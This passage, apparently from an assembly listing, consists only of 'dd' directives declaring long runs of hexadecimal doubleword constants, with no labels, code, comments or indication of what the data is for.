0DE65BFA9h, 4FFC5812h, 0B2C7305h, 3977C050h dd 0C48AA5Bh, 58CA3E9Ah, 410C60D3h, 6D7B82Bh, 0AA214EBAh dd 0F502D85Ch, 1238020h, 44042CAh, 0A7B85908h, 1332EA40h dd 11E54Ch, 1F38ABCEh, 0F620E929h, 0E0F5A0B7h, 72660196h dd 0DD7A45BEh, 87D02E0Dh dd 2618FFEEh, 23A628Bh, 0A4F9120Fh, 0B288095Dh, 88FA7C63h dd 17A4516Dh, 0D5C4E006h, 4010FC2Fh, 66015A09h, 50E58058h dd 0C0DEDDF6h, 80DF440Eh, 0F991DA31h, 99B1E961h, 7CDAEC35h dd 18484956h, 9EB77825h, 0E5CE9F65h, 3A80974Bh, 0F41CC80h dd 0E4D0DCF6h, 1D27888Bh, 0B96A87h, 17105EEh, 272D6849h dd 6249877h, 11642710h, 0C1E55D70h, 0C4AF2822h, 112B609h dd 0E6808BFDh, 0C3FCEC07h, 0F0B4E495h, 0AF05BD87h, 3B778153h dd 9F800420h, 105E56DFh, 41D90177h, 4F2D3608h, 0E9820DA2h dd 9DE8BE3Ah, 893D58C7h, 8BD92FF8h, 0A768FB72h, 5816BC72h dd 0D54220E9h, 0AF421F68h, 5DDB0475h, 1EDD30EFh, 5A1D4812h dd 2089BBBDh, 1913943Fh, 73E42EE9h, 86930754h, 0A0475B25h dd 0A203CF6Eh, 0D15D101Ah, 4A1004EFh, 0D07FA746h, 0C18E9C5h dd 73DCE4BFh, 381D0B81h, 45837302h, 819C4BAAh, 0B2C5E8h dd 7986DBF6h, 850A4BD3h, 0B5FAECCBh, 6987749Ch, 89F33C98h dd 10850EAh, 0F58006A1h, 0D2760698h, 83A5C53Ch, 0E5D052EDh dd 0F60590C0h, 161AC9D5h, 7146F0Ch, 5866CDF0h, 701CD62Ah dd 59E83837h, 68D82884h, 9130EA93h, 4FF671B7h, 0B6D328D7h dd 2C800F3Fh, 5A1D575Bh, 22B2EF8Fh, 0D666A9C7h, 0CBF8B86h dd 0D7A053CEh, 360A5A45h, 0A3FB0166h, 66990820h, 68A530C9h dd 0D9888042h, 0B5F31EEh, 7FFA1DE4h, 36E22C5Fh, 827ECE05h dd 32E9164Bh, 169FE2D0h, 532995BDh, 8D14307Ch, 39E90BB8h dd 0A52B5B1Ch, 0E989E9F1h, 5C8D50A1h, 865C8C59h, 0D0685A04h dd 0C4C7A803h, 0B0164EA3h, 404FC297h, 0A7E0ABC1h, 2FCB346Ch dd 0CFFEC2A2h, 0BF56A584h, 284C1E1Fh, 0E12C28EEh, 0AAD98EE2h dd 941A1C3Eh, 85A2DFCBh, 0A50F7DB1h, 7DB95560h, 79706A04h dd 6589C04Bh, 170BF07Bh, 9619F2E9h, 0C9342FF3h, 0D5814E6Ch dd 0D304225Fh, 404C300Fh, 0EF0D60C7h, 1262000Bh, 0E70FED2Dh dd 0C2258972h, 53824158h, 66B3A62Bh, 0E1D463DAh, 0BD098230h dd 6AECEEE0h, 8601F4F0h, 3058E688h, 0A77866F0h, 0A0D7E9C5h dd 0F6ED5C14h, 2AE1BE93h, 0D00CA5DDh, 96DB2227h, 113A080h dd 0A0E10C4Fh, 0BC4D252Bh, 56FB06B5h, 81D074C5h, 2C6A2906h dd 5F628903h, 0D6D231BCh, 17BD248Eh, 0E949899Dh, 56D9F75Eh dd 78BF4849h, 27524C10h, 0D0A78C0Fh, 24F0EC73h, 89383153h dd 8B7E394Ch, 41D521E1h, 630D1F7h, 8F981F64h, 0DF728CDCh dd 86A60C69h, 0E2481929h, 7A904902h, 87BEE0BAh, 23941E06h dd 7EFE0F52h, 13296E85h, 47EF8C5h, 19E1BAFh, 7B74CBAAh dd 7CDBEA48h, 13586001h, 0F3A6E94Fh, 4AFECE34h, 2644B76Ch dd 0B981F90Dh, 0C317F887h, 579EBC8Fh, 200B1DEBh, 92D01E0Ah dd 0CA4C915Fh, 228005A2h, 0BC231F51h, 0A640145h, 605D148Dh dd 5B77E0Bh, 0C082435Ch, 0CC985F0Eh, 0E9830C76h, 0A18DDB3Ch dd 0E3153802h, 199D0B48h, 2D0C40D8h, 7253F52Ah, 0E95781D5h dd 0E76C9B50h, 0BB169EC5h, 95AF6F61h, 0EEF1B781h, 0ED1F2049h dd 0C46DA092h, 77E0AC09h, 2FFE7EB8h, 0B9DC970h, 3DC92004h dd 0B8F707EDh, 5FD909E6h, 4747B3Bh, 48C8003Ch, 61350AD3h dd 8BAA0137h, 7FE9C529h, 1E7D540Ch, 0B65DC1AFh, 2FC831A0h dd 0BBAF998h, 5191AE25h, 48271EFEh, 1E72C683h, 0C8204149h dd 5E17F895h, 0F713D18Eh, 10E605E1h, 9172FE07h, 181AA2Eh dd 56430AC2h, 0A89C89F6h, 0F78F68FBh, 0D1F500D5h, 6313CA09h dd 0C5C80E45h, 2089A5C1h, 0B90751A4h, 64FD0CF2h, 769A1182h dd 0F9246FD4h, 66FC90CEh, 8CC6C83Bh, 0ECC994E8h, 0D72B4B52h dd 0E038D5F9h, 0DD985B40h, 676F6816h, 0D7D6F7ACh, 5BDFF197h dd 8A322F5Eh, 25AF0A87h, 8BF70E41h, 482D5834h, 5400Bh dd 0BC81FD08h, 512BBD55h, 4D71ED12h, 2105CF2h, 8D2D02AFh dd 0C175F83Bh, 0F700498Bh, 0F22881DAh, 0E9809A3Dh, 0A5129EEAh dd 6717105Ah, 0DCAA2B4h, 42D2F759h, 141B0206h, 0E929F6E0h dd 0D24C5F25h, 20590FF6h, 0A8923202h, 985C105Fh, 49A0351Eh dd 8680997Ah, 5D20528Ch, 8083DA95h, 4B685808h, 894AC2BDh dd 97481475h, 0E95435B8h, 0CF0B9330h, 6C281D2h, 21144F9h dd 8A02A642h, 896CAC36h, 0CDD063D6h, 680BC6FCh, 0C45E1480h dd 0CA0D4BD3h, 0E90D614Fh, 0CB2E3ABCh, 0D5845E0Fh, 66B29BBCh dd 0CFC710D7h, 49C38993h, 2C89ED99h, 59F75FE2h, 305F0D30h dd 0C32E80D3h, 0C52CF2F5h, 7CCD3418h, 52D1034Ch, 0A3C98159h dd 83438DE1h, 0E64FE0Ch, 58E9E06Ch, 0C2E65F20h, 54C8C888h dd 1B497868h, 7009E4Ah, 57E93CE8h, 496B9DFDh, 82CA5AB2h dd 501226F3h, 0DAD0CD0Fh, 2F6D560Ah, 0C36237F2h, 0B21DE63h dd 7A2D1E91h, 3EC081D4h, 0F3AD4757h, 0D0831C6Bh, 0CBFE13B4h dd 13FA1208h, 24BA48Ah, 78B55103h, 9CBED80h, 0E2E9FD06h dd 6655E362h, 124424B4h, 135BC2A5h, 51D1B4F6h, 0C8BA03Ch dd 59250A7Bh, 0DB38305Dh, 797B6545h, 0AEFDC727h, 0A369E2FFh dd 68704074h, 889D504Ah, 40B901C6h, 0EFE90F5Bh, 10D87222h dd 0C4CC10Dh, 0E49FC813h, 944FC19h, 130F90CBh, 0B0BE6FDEh dd 749205D1h, 0DE4ED635h, 483C10B1h, 0B933953h, 0C9790204h dd 0F1D72BEBh, 618F087Bh, 1DECFEB4h, 0A09A64B4h, 4A2DE915h dd 0C17E71B7h, 8630F586h, 4420E96Ah, 5AC57C15h, 6BFB0EFh dd 3751CF40h, 0BE7FA368h, 7AC4F0EBh, 4C6099F0h, 14DBC77Fh dd 4D447B32h, 0B901F67Ch, 408647A6h, 0D3722049h, 0C3A2E407h dd 2674CA31h, 366D69A1h, 17FA68C2h, 55B067Ch, 933AE026h dd 0E9C2024Fh, 5DD29C3Bh, 12820850h, 96739D2Eh, 0E4DD9F09h dd 0EFB70F76h, 6A8591B6h, 30958C25h, 0F568C312h, 5FDF8B93h dd 0B7F646Dh, 0B5D84CFFh, 0DEF74E12h, 273C2502h, 0BBF7400Ah dd 49C5BCF1h, 0C2317370h, 91A65541h, 25CBA938h, 9582CF0h dd 9D8D406Bh, 3D5F4B13h, 9EE8E858h, 3655274Ah, 0EB502C50h dd 164BE908h, 2BA7405h, 0FB5565EBh, 0E435BB4Eh, 6B846DB3h dd 0DB68C540h, 0C058796Ah, 0F4C8ED70h, 895AF0D1h, 2059B2Ch dd 2F490B76h, 0C1D0D8F7h, 7A00A2F4h, 0BA520908h, 1B95A5Bh dd 63E2811Bh, 80314A20h, 7677FE0Ch, 1FBB5351h, 7EDB5C16h dd 0BF2E302h, 947015EEh, 982C6BBDh, 0E50DC729h, 2D67A02Ah dd 8753BF0Bh, 9644225h, 0EB0E8E07h, 0EA4F54D1h, 61F91753h dd 4CA760C7h, 0FC2568FAh, 8BCA517Fh, 13D42C11h, 4642E167h dd 0A4C06243h, 0FB815065h, 498BF43Bh, 1C085EF1h, 0E10444DEh dd 0F6CB6FE5h, 390F277Fh, 1A4556C8h, 3465E026h, 202FAF03h dd 0E4184E51h, 0C432E971h, 234BFA3h, 0FE02BC03h, 4128C2CAh dd 0E123EBB8h, 0C0C6FEC2h, 0A820D978h, 9E6814DCh, 6A85701Fh dd 709A31Ah, 5FF5C3Ah, 80A3C5D3h, 4B37E9FAh, 57DA2007h dd 0EDF5F0BFh, 0DE9D307Eh, 9E857131h, 9C231C45h, 0BF59F140h dd 0F3508907h, 8511E46Ch, 0D64F712Bh, 669F2CFFh, 0C3E9150Eh dd 0F302A39Dh, 0D7BF42BEh, 0F3FD2FFFh, 0D49EE227h, 0BE449DAh dd 0C02CC6B9h, 4A59CD73h, 0D3EC915Ah, 0F85D8736h, 88E23C2Dh dd 240EDD5Dh, 49E908A1h, 9C493435h, 8CA8951Bh, 2FDDE945h dd 0A8E41AA5h, 0D71E890h, 694E6D9Ch, 6B8A71DAh, 0F0DBAA9Ah dd 8E160FEAh, 0D2FC6084h, 305807D9h, 985EDC31h, 0A1DD2DE3h dd 2302C44Ah, 0E10DFE10h, 0D8127A7h, 1372F905h, 2DA32011h dd 0ACE907A0h, 1207464Dh dd 64AE671Fh, 56D20058h, 0E920063Eh, 32276826h, 9D056F87h dd 0BDF80BBh, 0C14B3F6Dh, 7C3BA30Ch, 0D07A8016h, 0E97BDC3Dh dd 7899D88h, 1F025ED4h, 43112C14h, 7D85F3A3h, 0C6BEEC3h dd 50FF01A4h, 2E050978h, 0D3F7339Ah, 31CB8DC0h, 0E9B54C2Bh dd 0FBCFF302h, 89DDCCF5h, 5D5903AAh, 0A8DC515Bh, 42EF9F04h dd 0D5FDE9F6h, 0D60B0A5Bh, 70F974A7h, 112B968h, 0CBFC505Dh dd 0AAF2854Fh, 40120928h, 38B45C30h, 0C85DC3h, 0D0CE865Ah dd 91B050E6h, 0C03A0C00h, 63403E0h, 9EAAEAE9h, 3606C997h dd 0BB0414ABh, 41653DD8h, 4D043EEDh, 0C062B4A4h, 0CD7BF614h dd 0EE94609h, 0D3937CACh, 0DA8AAA4Fh, 8455E25Bh, 1133260h dd 3965A811h, 8F21EC72h, 825C5CCFh, 0F14E0D68h, 26FB4B51h dd 60B85000h, 0BF5F1C3Eh, 5E4638C0h, 802BE03Ah, 2A513A27h dd 5A5FA2Dh, 0C501A152h, 7964F358h, 0BF16A59Dh, 444A9EECh dd 13FDF548h, 0C2CDAEA1h, 58DAC8AFh, 50076817h, 71640C60h dd 0CE2D5802h, 0BF99262Fh, 0A7173F57h, 414897E3h, 0A05CF8C9h dd 0E5F0269h, 0E23305BFh, 0E7680954h, 40931A58h, 280E2687h dd 0ECD03980h, 107F768Eh, 2FA41EE9h, 0E539C130h, 4844B900h dd 276BED3Dh, 591B8735h, 0C0EDD804h, 0E81D6912h, 87688207h dd 62EA9A71h, 0DA995710h, 13693884h, 50F28D7Fh, 0BD0ABC64h dd 21310779h, 90B4E416h, 291D1AF8h, 41B5D2EBh, 3C0DB96Fh dd 980E706Eh, 748B069h, 45CFCA24h, 0EA215Dh, 40AEF8Eh dd 894B0809h, 5DE98AB4h, 0C045FFFCh, 3AE42D6Fh, 5468D8D8h dd 7CE9A15Bh, 6669BDB1h, 6B4D2602h, 4211DEDFh, 9A5D8D0Fh dd 2CFAC280h, 99350C9Eh, 9B642BDh, 650685C1h, 0DB933A88h dd 0CBB69FB4h, 30AE040Ch, 0BD4FE9F3h, 0EAD3975h, 0DB04BE68h dd 40B9D0D1h, 7F01FC77h, 0E670C9C8h, 0D85732E1h, 25BF2F43h dd 0FAC22CC1h, 0C8E40D8Ch, 875A0C88h, 0A7C54EA2h, 0EA221E8Ch dd 0DFF72AF9h, 1FE87CB3h, 0DAF901FBh, 19C037A6h, 66383725h dd 72EEBC29h, 0D7CA08A2h, 74D76D41h, 0AAAD5FEEh, 0E9C33001h dd 0BD48B8CEh, 546E130Eh, 2D6CA34Ah, 89B7E751h, 51712AC7h dd 14C44888h, 199ECE59h, 0E0445DD9h, 137A1F08h, 6C297017h dd 0CD038A8h, 4135D32h, 1604444h, 0ADE95111h, 504ECAFEh dd 291770A4h, 0D295E49Fh, 7E18F372h, 12B1F195h, 676CFFEEh dd 47393168h, 62166355h, 459B064Ah, 30C7804h, 85FA9D50h dd 6C00CB01h, 0AE2386C7h, 52DAE949h, 0C27309Bh, 746B56D1h dd 18E96169h, 106A26E0h, 100F0F2h, 0D4EB81C3h, 157D4E17h dd 7A087627h, 5EDE3AC7h, 40C8B072h, 5F050503h, 484DEE63h dd 0E98575B8h, 0D2D7A08Ah, 0E235E895h, 225F8297h, 1045C4C3h dd 0A820E928h, 0EE21ED2Eh, 4B7BE12Ch, 59A0052h, 0D5F950FCh dd 0EAF8E098h, 8F27449Eh, 0E58CB386h, 389E9A31h, 0E10FE4B1h dd 860C058h, 5080B252h, 0E2E0B47Dh, 0D15C20F8h, 0E980B090h dd 2F8295BAh, 0B1FFCBF3h, 8B2F54FBh, 4EE913DFh, 0DDB8B185h dd 8266A2D6h, 5F561668h, 0A45D6816h, 59BE0255h, 5839A664h dd 0C0F602EBh, 465CE371h, 0EB4A7A78h, 1587B80h, 0A8DDF1FBh dd 3395322Ch, 0B26709A5h, 5C41E25Eh, 0E1348566h, 448A5B9Eh dd 128124Ah, 0C23BEAD1h, 0A159D642h, 104D6883h, 0F2007966h dd 812E2B43h, 0D14F8E1h, 179C0E61h, 11659111h, 225093B8h dd 95C78EAh, 1EB8331h, 3E523600h, 0B4B81A19h, 0D04BAD09h dd 60C96217h, 3C75C371h, 0E6AF5A30h, 0ADC63268h, 78604A70h dd 84C77B0Ch, 0F329122Ch, 0E909025Eh, 6876E38Bh, 5C5BC269h dd 3E034921h, 57D25119h, 883ECC4h, 3D66ACFDh, 3A13CFE9h dd 97132EF6h, 3D64B315h, 95947C52h, 0B58A5A12h, 0AC3D6816h dd 31BBD261h, 69EAC4F0h, 5AD404EEh, 50BF4B9Ah, 6F50085Ch dd 0CB630166h, 58C3291Ah, 25917F5Dh, 4F0B763Dh, 5C0EE28Fh dd 0E9D346E9h, 0E02CD63Dh, 0F81525E9h, 9ABDA3DBh, 1332657h dd 2DE801B2h, 53C70C82h, 5DD4FC2h, 81AC196h, 0E914010Ch dd 2424DF84h, 0F6A4BF71h, 68CBEA2Ch, 1022B75Eh, 0F716EB80h dd 671000D8h, 41761D2Dh, 0DE188F98h, 0C18AA672h, 971C1F19h dd 0D9F74C40h, 0CA38731Eh, 8729AE33h, 0C4657C1Eh, 9588815Fh dd 593863Ch, 0D897BE8Ah, 130FB52Bh, 0CC83261Eh, 0BC97201h dd 77DD12F0h, 161B9204h, 4EB85B01h, 0C1ED3EB5h, 58441DD3h dd 0C16FEC31h, 57500868h, 22F5F27Eh, 514B284Ch, 6EC4D6E2h dd 0AF091203h, 0BAE5E087h, 5E96F928h, 0C3C10A4Ah, 0B06492EEh dd 8845B229h, 270576F4h, 6E6392FDh, 4D581AF2h, 6410F997h dd 25C4BCBFh, 97FA9E5Bh, 2E4A0571h, 0B112670Dh, 5A2DD200h dd 91505BA3h, 92B17133h, 5BAEEA8Fh, 0DEFA8A05h, 6817B26Ch dd 0A602C4h, 0C1DF5024h, 7BD805E9h, 42EC4FDDh, 0BC85998Eh dd 0AD09952Dh, 1210D6D6h, 2691824Fh, 9C58AC09h, 4BC740E3h dd 76BFE6C1h, 0C802CBAh, 74F22A68h, 0E4B2CBE9h, 55C2EEB6h dd 4F53062Ch, 0F84CD2C9h, 1ABD07CDh, 0A22E8732h, 89DE156Fh dd 412719ACh, 908D59EEh, 2FA9433Ah, 0CB53BB88h, 0C09214D0h dd 5D95A755h, 74E047C5h, 0D0C000B2h, 536650EAh, 521CDEB3h dd 0BDBDDA88h, 2C5B1D5Ah, 7B4FC1EDh, 18ED6971h, 0AAEB5382h dd 92FF2673h, 0C080C73h, 0DA7C038Ch, 0EDEE90Fh, 350E139h dd 0C780E3B7h, 0A54E5A97h, 55CE7FA8h, 2B16E909h, 5FB147Fh dd 0D86CEAEFh, 445EC36Eh, 0CEF11703h, 0DB23D554h, 0AD2D01F0h dd 7974932Dh, 1AB02075h, 0A9854E24h, 48E1D513h, 0C08740D4h dd 7067EB85h, 0DAA17977h, 0AE302F0Ah, 506C2248h, 96DDAB08h dd 4505008Fh, 10A5D49h, 72DC828h, 167F2AA2h, 0EC6815EBh dd 0BF007206h, 2C8639C0h, 73DE7C1h, 61326E9h, 21ECF40h dd 0AE4A6625h, 0AB1873C4h, 0E0B8BFDFh, 3715C1D3h, 38479464h dd 1CE9C402h, 60B954D0h, 15A0260Eh, 50011109h, 579C551Bh dd 0E092E92Dh, 0B15AF42Ch, 12463DEAh, 74FFFED2h, 0DBF10220h dd 0DDC01163h, 1A1FD8CBh, 0F3016A03h, 7D433866h, 8332C970h dd 12F55ACAh, 0DB8EC169h, 17960B68h, 54110DF6h, 0A0ADE765h dd 0E84E2980h, 9A999C1Eh, 5AB451F1h, 621DC0E9h, 8626C9DDh dd 9E391301h, 2DC95FFDh, 82CDDEBAh, 29D94564h, 89F4E575h dd 0BAE05551h, 3D2F2369h, 8139F03Eh, 5FF5107h, 6C77BB94h dd 0B10BB03h, 5D590B07h, 67B2804Eh, 2D47B438h, 0F945F031h dd 896BE904h, 68C211B9h, 0E56648D3h, 55899D9Eh, 0D177D454h dd 0B25C0287h, 854A84C8h, 32F96802h, 0C46476D6h, 8896C6CAh dd 164594F7h, 7B80C93Fh, 0D32FB48Fh, 9F6A347Ah, 8A33837Dh dd 9BDF100Bh, 0AD4DDF7Dh, 842E288Bh, 0D22CA203h, 7084CDADh dd 0C3800205h, 6E1F4407h, 0C88E2F88h, 1762C6C9h, 0BF0102D6h dd 78423733h, 7DCC1930h, 29710B7Bh, 2DFA5DEFh, 661AFCECh dd 5892B7BBh, 5427C08h, 87219EE2h, 0E896846Ch, 72F24B09h dd 0D6A20488h, 0E05B61B5h, 48E3CE6Fh, 95B4509Ch, 92E268E3h dd 0D0466091h, 0BFD27E32h, 0E911EC58h, 930B963Eh, 0C6E4F83Ch dd 0F119DC7Eh, 0DFCAAF04h, 40B7E913h, 55FABA6Dh, 9DB00E96h dd 54278B02h, 57D2F757h, 0A44A62E1h, 0E5005609h, 89408513h dd 0C5A4CD3h, 0FABF5702h, 0E7603049h, 28802271h, 0A3041ED8h dd 6F18652Ch, 0F398E0D0h, 0F7803F00h, 0F6C7FEE1h, 0F3EFF8D7h dd 4F30D6C8h, 2BD8F1F8h dd 9E7F69F6h, 665B2593h, 8F0BBCE8h, 79C1DA47h, 0CD0A5FE9h dd 7CA3AC0h, 7A62885Ah, 838849Dh, 0ADE41D84h, 6953FAAAh dd 0ED5E1A84h, 3A16755Ah, 82DBEAA1h, 3BFC8733h, 772F427Dh dd 0C6252BE4h, 0CF2DD915h, 5870BBC9h, 24B2E6B7h, 0C93BF32Eh dd 0EC76F04Ch, 0B0ACEB5h, 161D685Ch, 0E9247DCCh, 0ECAF2EF1h dd 0BD8E0C0h, 44BA6866h, 31B11249h, 0A6160F6h, 0A4FBA9B7h dd 0EA92B7F4h, 901CC0F1h, 5D7B1436h, 896D95Eh, 0B02D0E89h dd 8394A723h, 5BBC383h, 0A583B9ECh, 5CEA28EEh, 0DE5248h dd 19F76686h, 16ACF581h, 0B64B06Eh, 27A237BEh, 4064D25Ch dd 0EA8D5F55h, 8F6F33C6h, 1D51CCF8h, 592F95BFh, 61C2B54Bh dd 844E53D2h, 6601A5F3h, 0E936B450h, 65416E25h, 0E0A7AEDh dd 42FD8121h, 75638005h, 5B76FA08h, 1788C23Fh, 6BE4EB82h dd 9B5316D9h, 14F0B832h, 348F8F66h, 0E0259109h, 0C184FDFDh dd 1270EE1Eh, 4B5A5652h, 74E7EC89h, 0D9C7BBB5h, 0C869FDA9h dd 9DE3982Ah, 54ECD68Bh, 4EE9D909h, 0C208F487h, 0BA56417Ch dd 2BC3B9E0h, 0AC204ABEh, 0E781070Fh, 0B2EC628Dh, 7CB09F7h dd 780038D8h, 6391171h, 0FEFB292Eh, 0F5FE10A7h, 0B66EBFF6h dd 51E68102h, 72651373h, 30603C7h, 5DE93A07h, 0CE51AF32h dd 12FF5494h, 8490BD5Ch, 290390E0h, 17C2206Fh, 0B6528248h dd 0F328910Fh, 60C5695Ah, 9E555F67h, 0EEC8A9F1h, 177CC169h dd 0A112E91Eh, 7E0D389h, 0F6DD28Eh, 2217B85Ch, 985D3FE6h dd 80B7DBC8h, 0BC76EE81h, 10404248h, 4E76B3ADh, 0FEACA1EAh dd 2F596149h, 307F4A8Ah, 0EAA51C7Dh, 0F71D0AB5h, 14A4D106h dd 0B126BF00h, 391E05A6h, 0E04B5C2Ah, 259F235Ah, 30BAC2C5h dd 32201375h, 0CEE93E1Fh, 4A8852AFh, 0BBE100FEh, 6B4F36C1h dd 0A095C8F4h, 0B2010727h, 0BA52021Ah, 5237E8Fh, 0C199E077h dd 4064AE9h, 0E0E50222h, 0D27A76CEh, 2C17CD5Bh, 52432ECh dd 69570B78h, 0E9560980h, 0F1BC8231h, 0D6702849h, 0EEC01A02h dd 0FEC46208h, 82844B0h, 20FA288Ah, 5E5E1521h, 221CCA6h dd 599DB128h, 2E9E12Eh, 0D17E8BE1h, 0D22443E2h, 0A0B3FFAEh dd 91662D2Fh, 9A5434E6h, 0C6E630AAh, 2B170EF5h, 63840160h dd 4FA40816h, 29AFA8C7h, 5A59EECBh, 5563289Bh, 0ABBE5600h dd 812AD96Bh, 773C02CEh, 10E9757Dh, 0FEBAE048h, 572177C2h dd 0D530841Ch, 0B12B83A1h, 62C9F739h, 507F39A8h, 8041D839h dd 6850547Ch, 803FB99Eh, 0FE1EB353h, 0EB33C0CBh, 0AB800A07h dd 0DCA69FFBh, 1584580Ch, 0C144E909h, 0BD404F5Ch, 7DC50865h dd 97522D4Ah, 8BC25693h, 34933656h, 27792ABAh, 9013E30Ch dd 24681C77h, 8BEC497Ch, 65C421Ah, 0D03107EDh, 1D79942Ch dd 0FAF02805h, 0B85B2248h, 992939B5h, 7A0CC0CEh, 0C7B70697h dd 0AFEEF39Fh, 0F45A3238h, 2943DAC4h, 0E24A83A7h, 484ECBC5h dd 77FED57h, 4D293B25h, 7A0779D1h, 662EA22Ah, 0CB21AA42h dd 2A1C5F09h, 0AF748749h, 84514925h, 12FB3B40h, 0B59E835h dd 66876EE9h, 0A2591A8h, 69D9AA51h, 0D8C651C6h, 26CC3014h dd 9670DDE9h, 646B04ACh, 28FFA5h, 25A3689Bh, 686F0BFDh dd 4530E30Bh, 10CC31EBh, 417D9454h, 0B04701FBh, 0AB3220C5h dd 0C1DF92BDh, 0C46FD63Bh, 892CEAA7h, 80A17AE9h, 9C1E2CBFh dd 0F8924D94h, 0EA681D81h, 14B41447h, 42DAF702h, 0FD802D40h dd 0A62E5D81h, 561677C5h, 3F005492h, 67F40594h, 254F7147h dd 0DB58E7C1h, 1B2EF50Bh, 70100FC7h, 7B4DF34Bh, 16E67030h dd 764F125h, 0D14028D5h, 0D6080E0h, 30C357DDh, 0A88113D7h dd 0E65AD031h, 59D897C2h, 0E205087Bh, 78861E99h, 0ECF5B904h dd 85BBF817h, 0C2287F1Ah, 0CA50E2Dh, 0DC446568h, 0C07FFC07h dd 23DFC6F4h, 0B6D85F31h, 76206989h, 0FC768C2Fh, 490FC157h dd 6B060A5Fh, 9ED552D6h, 0C15B251Bh, 69EF5293h, 111F43F3h dd 0F2530ED4h, 581E18Ch, 8A5D3FEBh, 250EF4Bh, 67386208h dd 0EED2D226h, 74379A5Eh, 66C30F58h, 0D64DE28h, 572394EEh dd 0C490F2E3h, 8DFA828Dh, 683BE5F9h, 3E285ECAh, 0B371FF52h dd 65E51EADh, 74A6805h, 3F042BF3h, 0EE6E7E2Dh, 0A0DA0C6h dd 41E9CF01h, 0AFBA83A6h, 42FBF77Dh, 8DF8A4DFh, 0A3C17BB9h dd 55BA2DF0h, 495B5E9Eh, 0C0FA7E2Bh, 0C057500Bh, 0D40A0116h dd 1EDFD0Ah, 83B5FE38h, 62D02D1Ch, 0EDBF6DBDh, 38D12DD3h dd 0D5A5E984h, 8F5187B7h, 5912AE2Ch, 0D3D48157h, 0D9A1241Ah dd 0E11AA39Fh, 40DFD910h, 0F2AAC8DBh, 0D2A24AEEh, 83F7E633h dd 0E3C16CA9h, 75841F05h, 534F4360h, 0E5B193BBh, 0A2803E51h dd 3052822Dh, 5D1C7764h, 5F16C757h, 0A3F2D829h, 505F0C5h dd 5D84E912h, 295ACA1h, 7F161C74h, 8A0C3D6h, 4A060CC0h dd 3168417Bh, 0FFED0E89h, 1F693CD4h, 78552E1Eh, 1EFAD239h dd 13FE79AFh, 0BA5CDD4h, 0C490E7BBh, 0EF5C2685h, 2E071071h dd 58CFA34Fh, 955D7D56h, 75C95A7Eh, 270FC8E0h, 17E90D3Bh dd 15FE8207h, 27DE176h, 3BE2895Bh, 2717F7D0h, 0F0B52012h dd 0E7C70804h, 11C2771Dh, 4C8A2ECBh, 881C6394h, 0E90B82C1h dd 0BF6CC2ECh, 0DB5FEFF2h, 25A93125h, 0B8E1CC9Fh, 5702E31Fh dd 486B90BFh, 0F112DD1Bh, 0D3141E77h, 1611DA0Ch, 0C25D54E9h dd 2CEA5F13h, 0DAA8C03Dh, 2158C580h, 0D1BD2527h, 0B02FA2ADh dd 0C5A325ECh, 92D22C6h, 42267198h, 0AD0EBB18h, 0B2554F36h dd 0CE9A7F06h, 0FDFB50EBh, 25EE9701h, 0DA9DECB2h, 23E92DE5h dd 68AD7A81h, 98F33A60h, 101EBA02h, 9B5D3F51h, 5A1A00F5h dd 27CAF281h, 0C0956DB7h, 3EDD5147h, 7DFC4A34h, 321B2684h dd 0DE03020Ch, 25DE810h, 7ED0298Bh, 9CE188E5h, 97A25B12h dd 1CB53EC4h, 0DDF67CC0h, 0CAF3ED80h, 19A7B406h, 0F0E1061Fh dd 3CE1E0C7h, 591875A7h, 0DD0CCF28h, 0A1AE55E9h, 9F586120h dd 0E909526Dh, 9FB0585Ah, 0FC01DBE4h, 89FB492Ch, 0CC825DEFh dd 46AE311Fh, 172410D6h, 0E5E90705h, 0AE07A152h, 0E256EF8h dd 9858DEECh, 45A34F0Eh, 8C19D8A4h, 0E79B5E35h, 0B009B0A4h dd 0CF022C6h, 88A55918h, 74257B77h, 0E91656ABh, 0C3478C5Ch dd 73BD2F7h, 37902D6h, 0E0E9C8B0h, 0B1631668h, 0B88F3ED3h dd 0FAA92A49h, 3EEE8AAh, 4F5D15BCh, 2E969CD9h, 0AF82C475h dd 0F780019Fh, 0EF25206Ah, 0C2DC0E95h, 5C6B9168h, 661260D2h dd 0F8C65938h, 9A0F16F6h, 29015C25h, 9900134Eh, 29442AE6h dd 0B701C112h, 60E73068h, 5F02EFAEh, 0E903B252h, 26A75CB5h dd 8EE7923h, 9FB95Ch, 0BDAF596Bh, 0C05E61E9h, 0BB1792E3h dd 519540D1h, 0E2572EB9h, 0C9811C01h, 7C0C1269h, 571EE48h dd 0C14D5C6Eh, 7C8ECE1h, 0D2309038h, 54E621E2h, 0BE1284CDh dd 2B82FAA3h, 99E64E5Ah, 0BD5500B4h, 203F44A6h, 0A3C5811Dh dd 0E93A4982h, 4EE6D0FDh, 1AE8F821h, 61EDEF05h, 7F65288Ah dd 1A7794A6h, 0DC449A03h, 25EA5651h, 0BE627E41h, 49FA7158h dd 59E11A5Bh, 742C0FE9h, 9CB3113h, 0FEDC086Fh, 928BA60h dd 912ADC7Fh, 87C84ED0h, 24D25A44h, 0DAACB8E8h, 0B570BE43h dd 5C166565h, 0D040F289h, 482F1C77h, 73343247h, 0BDC4BE0Dh dd 0B040FCE3h, 452B1FF1h, 1713E646h, 18AEA970h, 0B4A279C2h dd 0B1D79835h, 3CD03370h, 0DEF13F02h, 7A02ABD8h, 0ED6E2091h dd 36028DBCh, 0F809A555h, 51078230h, 4170AF5Bh, 76044598h dd 314C726Ch, 11A290BAh dd 18608C71h, 0D729523Ch, 5BA2A009h, 0C9990535h, 0AA8938E7h dd 2FE9FF2Ch, 0BC5927AFh, 67E26880h, 715952B0h, 8FBCC149h dd 6F78C403h, 0A214409h, 0AF1C3F4Ah, 0FE04EED7h, 73E3E39Ch dd 3B39CD4Fh, 0C2012F4Eh, 0D5ECC4E9h, 5A5C7414h, 0B3A62DC3h dd 0D1F3EAE7h, 0AF57927Bh, 1FADA861h, 7672B800h, 0DE228825h dd 9F0449DFh, 10C51013h, 18620CD1h, 0E4F49F35h, 1833658Ch dd 288E905Dh, 9D5B1F2Ah, 729F9D96h, 9BBE8E6h, 97E9F754h dd 9B900C50h, 61B85000h, 0D4B583Bh, 0AD4F50E4h, 0F96725E9h dd 657F8E68h, 0F972A127h, 68578305h, 0F9BF1DA6h, 0F758675Ch dd 0E00D1694h, 0CD0E096Ah, 50277BFAh, 99EDB12h, 335B9583h dd 0E324A2A6h, 91FDA27h, 72E9555Eh, 3A96DAF8h, 3EF168C1h dd 0E933CC7Ah, 18194027h, 8214D975h, 0D9A738D9h, 0FEF1AD6Ch dd 9C02F24Ah, 0FE7C9078h, 